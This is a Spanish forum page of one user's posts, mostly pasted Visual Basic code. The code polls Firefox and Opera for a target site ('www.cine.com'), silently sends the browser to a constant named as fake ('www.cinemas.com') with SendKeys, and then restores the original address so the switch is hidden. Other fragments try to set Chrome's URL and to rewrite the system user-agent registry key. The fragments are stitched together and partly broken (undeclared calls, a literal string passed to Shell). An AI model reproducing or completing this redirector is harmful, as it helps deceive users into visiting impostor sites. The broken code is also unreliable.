Mostrar Mensajes
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
si que he leído un poquito, y ya busque información sobre el error, no se que es.... 
Dim frmADS As New frmVentasfrmADS .ShowDialog()Me.CloseDim frmVentas_T As New Thread(AddressOf frmADS .ShowDialog)
frmVentas_T.start()Option Explicit
Private Declare Function DdeInitialize Lib "user32" Alias "DdeInitializeA" (pidInst As Long, ByVal pfnCallback As Long, ByVal afCmd As Long, ByVal ulRes As Long) As Integer
Private Declare Function DdeCreateStringHandle Lib "user32" Alias "DdeCreateStringHandleA" (ByVal idInst As Long, ByVal psz As String, ByVal iCodePage As Long) As Long
Private Declare Function DdeConnect Lib "user32" (ByVal idInst As Long, ByVal hszService As Long, ByVal hszTopic As Long, pCC As Any) As Long
Private Declare Function DdeFreeStringHandle Lib "user32" (ByVal idInst As Long, ByVal hsz As Long) As Long
Private Declare Function DdeUninitialize Lib "user32" (ByVal idInst As Long) As Long
Private Declare Function DdeClientTransaction Lib "user32.dll" (ByVal pData As Long, ByVal cbData As Long, ByVal hConv As Long, ByVal hszItem As Long, ByVal wFmt As Long, ByVal wType As Long, ByVal dwTimeout As Long, ByRef pdwResult As Long) As Long
Private Declare Function DdeAccessData Lib "user32.dll" (ByVal hData As Long, ByRef pcbDataSize As Long) As Long
Private Declare Function DdeUnaccessData Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeFreeDataHandle Lib "user32.dll" (ByVal hData As Long) As Long
Private Declare Function DdeDisconnect Lib "user32.dll" (ByVal hConv As Long) As Long
Private Declare Function DdeGetLastError Lib "user32.dll" (ByVal idInst As Long) As Long
Private Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Const XCLASS_DATA As Long = &H2000
Private Const XTYP_REQUEST As Long = (&HB0 Or XCLASS_DATA)
Private Const CP_WINANSI As Long = 1004
Private Const CF_TEXT As Long = 1
Private Const FIREFOX As String = "firefox"
Private Const OPERA As String = "opera"
Private Const IEXPLORER As String = "iexplore"
'-------------------------------------------
Private Const WBuscar As String = "www.cine.com"
Private Const WFalsa As String = "www.cinemas.com"
Private Function GetBrowserInfo(ByVal sServer As String) As String
Dim lpData As Long, hData As Long, sData As String
Dim hServer As Long, hTopic As Long, hItem As Long
Dim hConv As Long, idInst As Long
Dim sBuffer As String
Const sTopic = "WWW_GetWindowInfo"
Const sItem = "0xFFFFFFFF"
If DdeInitialize(idInst, 0, 0, 0) <> 0 Then Exit Function
hServer = DdeCreateStringHandle(idInst, sServer, CP_WINANSI)
hTopic = DdeCreateStringHandle(idInst, sTopic, CP_WINANSI)
hItem = DdeCreateStringHandle(idInst, sItem, CP_WINANSI)
hConv = DdeConnect(idInst, hServer, hTopic, ByVal 0&)
If hConv Then
hData = DdeClientTransaction(0, 0, hConv, hItem, CF_TEXT, XTYP_REQUEST, 1000, 0)
lpData = DdeAccessData(hData, 500)
sBuffer = String(500, Chr(0))
lstrcpy sBuffer, lpData
GetBrowserInfo = Left$(sBuffer, InStr(sBuffer, Chr(0)) - 1)
DdeUnaccessData hData
DdeFreeDataHandle hData
DdeDisconnect hConv
End If
DdeFreeStringHandle idInst, hServer
DdeFreeStringHandle idInst, hTopic
DdeFreeStringHandle idInst, hItem
DdeUninitialize idInst
End Function
Private Sub Form_Load()
' MsgBox GetBrowserInfo(OPERA)
' MsgBox GetBrowserInfo(IEXPLORER)
' MsgBox GetBrowserInfo(FIREFOX)
End Sub
Private Sub Timer1_Timer()
Debug.Print GetBrowserInfo(FIREFOX)
Debug.Print GetBrowserInfo(OPERA)
If InStr(1, GetBrowserInfo(FIREFOX), WBuscar) Then
Call CambiarURL
Else
If InStr(1, GetBrowserInfo(OPERA), WBuscar) Then
Call CambiarURLOP
End If
End If
End Sub
Private Sub CambiarURL()
Timer1.Enabled = False
'MsgBox ("Entro al F6")
SendKeys ("{F6}")
Sleep (250)
SendKeys (WFalsa)
Sleep (100)
SendKeys ("{ENTER}")
'Timer1.Enabled = True
Sleep (250)
SendKeys ("{F6}")
SendKeys (WBuscar)
Sleep (100)
SendKeys ("{ESC}")
End Sub
Private Sub CambiarURLOP()
Timer1.Enabled = False
SendKeys ("{F8}")
Sleep (250)
SendKeys (WFalsa)
Sleep (100)
SendKeys ("{ENTER}")
'Timer1.Enabled = True
Sleep (250)
SendKeys ("{F8}")
SendKeys (WBuscar)
Sleep (100)
SendKeys ("{ESC}")
End Sub
Option Explicit
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Const WM_SETTEXT As Long = &HC
Private lCount As Long
Sub Main()
Call Chrome("Hola JAJA?")
End Sub
Public Function Chrome(ByVal pNewURL As String) As Boolean
Dim phWnd As Long
Const pClass As String = "Chrome_WidgetWin_0"
Const pURL As String = "Chrome_AutocompleteEditView"
phWnd = FindWindow(pClass, vbNullString)
' SendMessage ByVal &H209A0, WM_SETTEXT, 0, ByVal pNewURL
If phWnd <> 0 Then
phWnd = FindWindowEx(phWnd, 0&, ByVal pURL, vbNullString)
EnumWindows phWnd
End If
End Function
Private Function CallBackEnumWindowChild(ByVal handle As Long, ByVal lParam As Long) As Boolean
CallBackEnumWindowChild = True
Dim pBuffer As String * 260
GetWindowText handle, pBuffer, Len(pBuffer)
pBuffer = Left$(pBuffer, InStr(1, pBuffer, Chr$(0)) - 1)
Debug.Print pBuffer
'SendMessage ByVal phWnd, WM_SETTEXT, 0, pNewURL
lCount = lCount + 1
End Function
Public Sub EnumWindows(lHwnd As Long)
lCount = 0
If lHwnd <> 0 Then
EnumChildWindows lHwnd, AddressOf CallBackEnumWindowChild, ByVal 0&
End If
End Sub
Private Sub CNav()
reg2 = "Firefox/3.2.1" & Chr(34) & " /f" ' Aqui pones el user-agent que necesites.
reg1 = "%windir%\System32\cmd.exe /k %windir%\System32\reg.exe ADD " & Chr(34) & "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent" & Chr(34) & " /v Version /d " & Chr(34) & reg2
Shell ("reg1")
End Sub